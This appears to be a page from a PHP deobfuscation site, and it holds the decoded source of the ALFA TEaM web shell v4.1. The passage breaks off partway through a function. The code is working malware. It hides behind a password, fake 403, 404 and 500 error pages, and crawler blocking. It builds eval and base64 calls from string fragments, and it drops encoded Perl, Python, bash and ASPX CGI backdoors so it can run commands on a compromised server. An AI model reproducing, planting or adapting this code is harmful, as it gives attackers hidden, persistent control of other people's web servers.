Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ritalin = "3gxIofw/b/656zxPwDZKWtCBCi2SPKKgxH4AkugIINDmfxK3PW28rqI3Rg/3bAOfKYJxqa8..

Decoded Output download

?>b'<?php
$password = "ritalin"; // Password 
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    # _REQUEST mean _POST or _GET 
    if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><font>
	
<form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'submit\' value=\'>>\'></form></pre>";
        exit;        
    }
} ?>
<?php
$GLOBALS[\'oZgNypoPRU\'] = array(
    \'username\' => \'alfa\',
    \'password\' => \'7d1694e6ee7ff881a8972efc56ca1ffd\',
    \'safe_mode\' => \'0\',
    \'login_page\' => \'403\',
    \'show_icons\' => \'1\',
    \'post_encryption\' => false,
    \'cgi_api\' => true,
);

$CWppUDJxuf = \'fu\' . \'n\' . \'ct\' . \'ion_\' . \'e\' . \'xist\' . \'s\';
$aztJtafUXm = \'cha\' . \'r\' . \'C\' . \'o\' . \'d\' . \'e\' . \'A\' . \'t\' . \'\';
$OVpGNqqFZs = \'e\' . \'v\' . \'al\';
$psDEwGhsxg = \'gz\' . \'inf\' . \'late\';

if (!$CWppUDJxuf(\'b\' . \'a\' . \'se64\' . \'_en\' . \'c\' . \'ode\' . \'\'))
{
    function vcnvSCZgBz($data)
    {
        if (empty($data)) return;
        $b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';
        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
        $ac = 0;
        $enc = \'\';
        $tmp_arr = array();
        if (!$data)
        {
            return $data;
        }
        do
        {
            $o1 = $aztJtafUXm($data, $i++);
            $o2 = $aztJtafUXm($data, $i++);
            $o3 = $aztJtafUXm($data, $i++);
            $bits = $o1 << 16 | $o2 << 8 | $o3;
            $h1 = $bits >> 18 & 0x3f;
            $h2 = $bits >> 12 & 0x3f;
            $h3 = $bits >> 6 & 0x3f;
            $h4 = $bits & 0x3f;
            $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
        }
        while ($i < strlen($data));
        $enc = implode($tmp_arr, \'\');
        $r = (strlen($data) % 3);
        return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr(\'===\', ($r || 3));
    }
    function charCodeAt($data, $char)
    {
        return ord(substr($data, $char, 1));
    }
    function charAt($data, $char)
    {
        return substr($data, $char, 1);
    }
}
else
{
    function vcnvSCZgBz($s)
    {
        $b = \'b\' . \'a\' . \'se64\' . \'_en\' . \'c\' . \'ode\' . \'\';
        return $b($s);
    }
}
if (!$CWppUDJxuf(\'b\' . \'a\' . \'se\' . \'6\' . \'4\' . \'_d\' . \'ecod\' . \'e\' . \'\'))
{
    function zRtSHsbTzV($input)
    {
        if (empty($input)) return;
        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
        $i = 0;
        $output = "";
        $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
        do
        {
            $enc1 = strpos($keyStr, substr($input, $i++, 1));
            $enc2 = strpos($keyStr, substr($input, $i++, 1));
            $enc3 = strpos($keyStr, substr($input, $i++, 1));
            $enc4 = strpos($keyStr, substr($input, $i++, 1));
            $chr1 = ($enc1 << 2) | ($enc2 >> 4);
            $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
            $chr3 = (($enc3 & 3) << 6) | $enc4;
            $output = $output . chr((int)$chr1);
            if ($enc3 != 64)
            {
                $output = $output . chr((int)$chr2);
            }
            if ($enc4 != 64)
            {
                $output = $output . chr((int)$chr3);
            }
            $chr1 = $chr2 = $chr3 = "";
            $enc1 = $enc2 = $enc3 = $enc4 = "";
        }
        while ($i < strlen($input));
        return $output;
    }
}
else
{
    function zRtSHsbTzV($s)
    {
        $b = \'b\' . \'a\' . \'se\' . \'6\' . \'4\' . \'_d\' . \'ecod\' . \'e\' . \'\';
        return $b($s);
    }
}

function __ZW5jb2Rlcg($s)
{
    return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
    return zRtSHsbTzV($s);
}

$GLOBALS[\'DB_NAME\'] = $GLOBALS[\'oZgNypoPRU\'];

foreach ($GLOBALS[\'DB_NAME\'] as $key => $value)
{
	$prefix = substr($key, 0, 2);
	if ($prefix == "us")
	{
		$GLOBALS[\'DB_NAME\']["user"] = $value;
		$GLOBALS[\'DB_NAME\']["user_rand"] = $key;
	}
	elseif ($prefix == "pa")
	{
		$GLOBALS[\'DB_NAME\']["pass"] = $value;
		$GLOBALS[\'DB_NAME\']["pass_rand"] = $key;
	}
	elseif ($prefix == "sa")
	{
		$GLOBALS[\'DB_NAME\']["safemode"] = $value;
		$GLOBALS[\'DB_NAME\']["safemode_rand"] = $key;
	}
	elseif ($prefix == "lo")
	{
		$GLOBALS[\'DB_NAME\']["login_page"] = $value;
		$GLOBALS[\'DB_NAME\']["login_page_rand"] = $key;
	}
	elseif ($prefix == "sh")
	{
		$GLOBALS[\'DB_NAME\']["show_icons"] = $value;
		$GLOBALS[\'DB_NAME\']["show_icons_rand"] = $key;
	}
	elseif ($prefix == "po")
	{
		$GLOBALS[\'DB_NAME\']["post_encryption"] = $value;
		$GLOBALS[\'DB_NAME\']["post_encryption_rand"] = $key;
	}
	elseif ($prefix == "cg")
	{
		$GLOBALS[\'DB_NAME\']["cgi_api"] = $value;
		$GLOBALS[\'DB_NAME\']["cgi_api_rand"] = $key;
	}
}

unset($GLOBALS[\'oZgNypoPRU\']);

if (!isset($_SERVER["HTTP_HOST"])) exit();

if(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}
if(!isset($GLOBALS[\'DB_NAME\'][\'user\']))exit(\'$GLOBALS[\'DB_NAME\'][\'user\']\');
if(!isset($GLOBALS[\'DB_NAME\'][\'pass\']))exit(\'$GLOBALS[\'DB_NAME\'][\'pass\']\');
if(!isset($GLOBALS[\'DB_NAME\'][\'safemode\']))exit(\'$GLOBALS[\'DB_NAME\'][\'safemode\']\');
if(!isset($GLOBALS[\'DB_NAME\'][\'login_page\']))exit(\'$GLOBALS[\'DB_NAME\'][\'login_page\']\');
if(!isset($GLOBALS[\'DB_NAME\'][\'show_icons\']))exit(\'$GLOBALS[\'DB_NAME\'][\'show_icons\']\');
if(!isset($GLOBALS[\'DB_NAME\'][\'post_encryption\']))exit(\'$GLOBALS[\'DB_NAME\'][\'post_encryption\']\');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():\'\');
$GLOBALS[\'__ALFA_COLOR__\'] = array(
		"shell_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".header" => "border: 7px solid {color}",
				"#meunlist" => "border-color: {color}",
				"#hidden_sh" => "background-color: {color}",
				".ajaxarea" => "border: 1px solid {color}",
				".foot" => "border-color: {color}",
			)
		),
		"header_vars" => "#27979B",
		"header_values" => "#67ABDF",
		"header_on" => "#00FF00",
		"header_off" => "#ff0000",
		"header_none" => "#00FF00",
		"home_shell" => "#ff0000",
		"home_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".home_shell:hover" => "color: {color};",
			)
		),
		"back_shell" => "#efbe73",
		"back_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".back_shell:hover" => "color: {color};",
			)
		),
		"header_pwd" => "#00FF00",
		"header_pwd:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_pwd:hover" => "color: {color};",
			)
		),
		"header_drive" => "#00FF00",
		"header_drive:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_drive:hover" => "color: {color};",
			)
		),
		"header_show_all" => "#00FF00",
		"disable_functions" => "#ff0000",
		"footer_text" => "#27979B",
		"menu_options" => "#27979B",
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"options_list" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				".content_options_holder .header center a" => "color: {color};",
			)
		),
		"options_list:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".content_options_holder .header center a:hover" => "color: {color};",
			)
		),
		"options_list_header" => array(
			"key_color" => "#59cc33",
			"multi_selector" => array(
				".txtfont_header" => "color: {color};",
			)
		),
		"options_list_text" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".txtfont,.tbltxt" => "color: {color};",
			)
		),
		"Alfa+" => array(
			"key_color" => "#06ff0f",
			"multi_selector" => array(
				".alfa_plus" => "color: {color};font-weight: unset;",
			)
		),
		"hidden_shell_text" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				"#hidden_sh a" => "color: {color};",
			)
		),
		"hidden_shell_version" => "#ff0000",
		"shell_name" => "#FF0000",
		"main_row:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".main tr:hover" => "background-color: {color};",
			)
		),
		"main_header" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main th" => "color: {color};",
			)
		),
		"main_name" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .main_name" => "color: {color};font-weight: unset;",
			)
		),
		"main_size" => "#67ABDF",
		"main_modify" => "#67ABDF",
		"main_owner_group" => "#67ABDF",
		"main_green_perm" => "#25ff00",
		"main_red_perm" => "#FF0000",
		"main_white_perm" => "#FFFFFF",
		"beetween_perms" => "#FFFFFF",
		"main_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .actions" => "color: {color};",
			)
		),
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"minimize_editor_background" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".minimized-wrapper" => "background-color: {color};",
			)
		),
		"minimize_editor_text" => array(
			"key_color" => "#f5deb3",
			"multi_selector" => array(
				".minimized-text" => "color: {color};",
			)
		),
		"editor_border" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "border: 2px solid {color};",
			)
		),
		"editor_background" => array(
			"key_color" => "rgba(0, 1, 23, 0.94)",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "background-color: {color};",
			)
		),
		"editor_header_background" => array(
			"key_color" => "rgba(21, 66, 88, 0.93)",
			"multi_selector" => array(
				".editor-header" => "background-color: {color};",
			)
		),
		"editor_header_text" => array(
			"key_color" => "#00ff7f",
			"multi_selector" => array(
				".editor-path" => "color: {color};",
			)
		),
		"editor_header_button" => array(
			"key_color" => "#1d5673",
			"multi_selector" => array(
				".close-button, .editor-minimize" => "background-color: {color};",
			)
		),
		"editor_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_actions" => "color: {color};",
			)
		),
		"editor_file_info_vars" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_file_info_vars" => "color: {color};",
			)
		),
		"editor_file_info_values" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".filestools" => "color: {color};",
			)
		),
		"editor_history_header" => array(
			"key_color" => "#14ff07",
			"multi_selector" => array(
				".hheader-text,.history-clear" => "color: {color};",
			)
		),
		"editor_history_list" => array(
			"key_color" => "#03b3a3",
			"multi_selector" => array(
				".editor-file-name" => "color: {color};",
			)
		),
		"editor_history_selected_file" => array(
			"key_color" => "rgba(49, 55, 93, 0.77)",
			"multi_selector" => array(
				".is_active" => "background-color: {color};",
			)
		),
		"editor_history_file:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".file-holder > .history:hover" => "background-color: {color};",
			)
		),
		"input_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"input[type=text],textarea" => "border: 1px solid {color}",
			)
		),
		"input_box_text" => array(
			"key_color" => "#999999",
			"multi_selector" => array(
				"input[type=text],textarea" => "color: {color};",
			)
		),
		"input_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"select_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"select" => "border: 1px solid {color}",
			)
		),
		"select_box_text" => array(
			"key_color" => "#FFFFEE",
			"multi_selector" => array(
				"select" => "color: {color};",
			)
		),
		"select_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"button_border" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit],.button,#addup" => "border: 1px solid {color};",
			)
		),
		"button:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
				".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"outputs_text" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".ml1" => "color: {color};",
			)
		),
		"outputs_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".ml1" => "border: 1px solid {color};",
			)
		),
		"uploader_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_background" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile strong" => "background-color: {color};",
			)
		),
		"uploader_text_right" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".inputfile strong" => "color: {color};",
			)
		),
		"uploader_text_left" => array(
			"key_color" => "#25ff00",
			"multi_selector" => array(
				".inputfile span" => "color: {color};",
			)
		),
		"uploader:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_progress_bar" => array(
			"key_color" => "#00ff00",
			"multi_selector" => array(
				".up_bar" => "background-color: {color};",
			)
		),
		"mysql_tables" => "#00FF00",
		"mysql_table_count" => "#67ABDF",
		"copyright" => "#dfff00",
		"scrollbar" => array(
			"key_color" => "#1e82b5",
			"multi_selector" => array(
				"*::-webkit-scrollbar-thumb" => "background-color: {color};",
			)
		),
		"scrollbar_background" => array(
			"key_color" => "#000115",
			"multi_selector" => array(
				"*::-webkit-scrollbar-track" => "background-color: {color};",
			)
		),
);
$GLOBALS[\'__file_path\'] = str_replace(\'\\',\'/\',trim(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)));
$config = array(\'AlfaUser\' => $GLOBALS[\'DB_NAME\'][\'user\'],\'AlfaPass\' => $GLOBALS[\'DB_NAME\'][\'pass\'],\'AlfaProtectShell\' => $GLOBALS[\'DB_NAME\'][\'safemode\'],\'AlfaLoginPage\' => $GLOBALS[\'DB_NAME\'][\'login_page\']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set(\'memory_limit\', \'-1\');
@ini_set("upload_max_filesize", "9999m");
if($config[\'AlfaProtectShell\']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform=\'<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>\';
if($config[\'AlfaLoginPage\'] == \'gui\'){
if(@$_COOKIE["AlfaUser"] != $config[\'AlfaUser\'] && $_COOKIE["AlfaPass"] != md5($config[\'AlfaPass\'])){
if(@$_POST["usrname"]==$config[\'AlfaUser\'] && @md5($_POST["password"])==$config[\'AlfaPass\']){
__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);
__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));
@header(\'location: \'.$_SERVER["PHP_SELF"]);
}
echo \'
<style>
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
<title>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</title><center>
<center></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>\';
exit;
}
}elseif($config[\'AlfaLoginPage\']==\'500\'){
if(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){
if(@md5($_POST["password"])==$config[\'AlfaPass\']){
__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);
__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));
@header(\'location: \'.$_SERVER["PHP_SELF"]);
}
echo \'<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, \'.$_SERVER[\'SERVER_ADMIN\'].\' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>\'.$SERVER_SIG.\'</body></html>\'.$Eform;
exit;
}
}elseif($config[\'AlfaLoginPage\']==\'403\'){
if(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){
if(@md5($_POST["password"])==$config[\'AlfaPass\']){
__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);
__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));
@header(\'location: \'.$_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don\'t have permission to access ".$_SERVER[\'PHP_SELF\']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}elseif($config[\'AlfaLoginPage\']==\'404\'){
if(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){
if(@md5($_POST["password"])==$config[\'AlfaPass\']){
__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);
__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));
@header(\'location: \'.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER[\'PHP_SELF\']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}
}
function decrypt_post($str){
	if(__ALFA_POST_ENCRYPTION__){
		$pwd = __ALFA_SECRET_KEY__;
		$pwd     = __ZW5jb2Rlcg($pwd);
		$str     = __ZGVjb2Rlcg($str);
		$enc_chr = "";
		$enc_str = "";
		$i       = 0;
		while ($i < strlen($str)) {
			for ($j = 0; $j < strlen($pwd); $j++) {
				$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
				$enc_str .= $enc_chr;
				$i++;
				if ($i >= strlen($str))
					break;
			}
		}
		return __ZGVjb2Rlcg($enc_str);
	}else{
		return __ZGVjb2Rlcg($str);
	}
}

function _AlfaSecretKey(){
	$secret = @$_COOKIE["AlfaSecretKey"];
	if(!isset($_COOKIE["AlfaSecretKey"])){
		$secret = uniqid(mt_rand(), true);
		__alfa_set_cookie("AlfaSecretKey", $secret);
	}
	return $secret;
}
function alfa_getColor($target){
	if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
		return $GLOBALS["DB_NAME"]["color"][$target];
	}else{
		$target = $GLOBALS["__ALFA_COLOR__"][$target];
		if(is_array($target)){
			return $target["key_color"];
		}else{
			return $target;
		}
	}
}
function alfaCssLoadColors(){
	$css = "";
	foreach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){
		if(!is_array($value)){
			$value = alfa_getColor($key);
			$css .= ".{$key}{color: {$value};}";
		}else{
			if(isset($value["multi_selector"])){
				foreach($value["multi_selector"] as $k => $v){
					$color = alfa_getColor($key);
					$code = str_replace("{color}", $color, $v);
					$css .=  $k."{".$code."}";
				}
			}
		}
	}
	return $css;
}
if(isset($_POST[\'ajax\'])){
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo \'<script>\';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo \'alfa\'.$alfa."_=";
}
echo \'""</script>\';
}}
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
	if(!$GLOBALS["DB_NAME"]["cgi_api"]){
		return "";
	}
	if(isset($_COOKIE["alfacgiapi_mode"])){
		return "";
	}
	$cmd_pure = $cmd;
	$is_curl = function_exists(\'curl_version\');
	$is_socket = function_exists(\'fsockopen\');
	if($is_curl||$is_socket){
		$recreate = false;
		if(isset($_COOKIE["alfacgiapi"])){
			if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
				$recreate = true;
				$lang = $_COOKIE["alfacgiapi"];
			}
		}
		if(!isset($_COOKIE["alfacgiapi"])||$recreate){
			@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
			$perl = \'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=\';
			$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
			$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
			$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
			if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
			if($lang == "aspx"){
				alfaWriteTocgiapi("aspx.aspx",$aspx);
			}else{
				alfaWriteTocgiapi($lang.".alfa",$source);
			}
			alfacgihtaccess(\'cgi\', "alfacgiapi/");
		}else{
			$lang = $_COOKIE["alfacgiapi"];
		}
		$cgi_ext = ".alfa";
		if($lang=="aspx"){
			$cgi_ext = ".aspx";
		}
		$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
		$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS[\'cwd\'].";".$cmd);
		if($is_curl){
			$address = ($_SERVER[\'SERVER_PORT\'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$post = new AlfaCURL();
			$data = $post->Send($address, "post", $cmd);
		}elseif($is_socket){
			$server = $_SERVER["SERVER_NAME"];
			$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$data = _alfa_fsockopen($server,$uri,$cmd);
		}
		$out = "";
		if(strpos($data, "[solevisible~api]") !== false && strpos($data, \'[solevisible~api]<pre>"+output+"</pre>\') === false){
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi", $lang);
			}
			if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
				$out = $res[1];
			}
		}elseif($lang=="perl"){
			return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
		}elseif($lang=="py"){
			return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
		}elseif($lang=="bash" && $GLOBALS[\'sys\']=="win"){
			return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
		}else{
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi_mode", "off");
			}
		}
		return trim($out);
	}else{
		return "";
	}
}
function alfaGetCwd(){
	if(function_exists("getcwd")){
		return @getcwd();
	}else{
		return dirname($_SERVER["SCRIPT_FILENAME"]);
	}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
	$data = _alfa_php_cmd($in,$re);
	if(empty($data)&&$cgi||$all){
		if($GLOBALS[\'sys\']==\'unix\'){
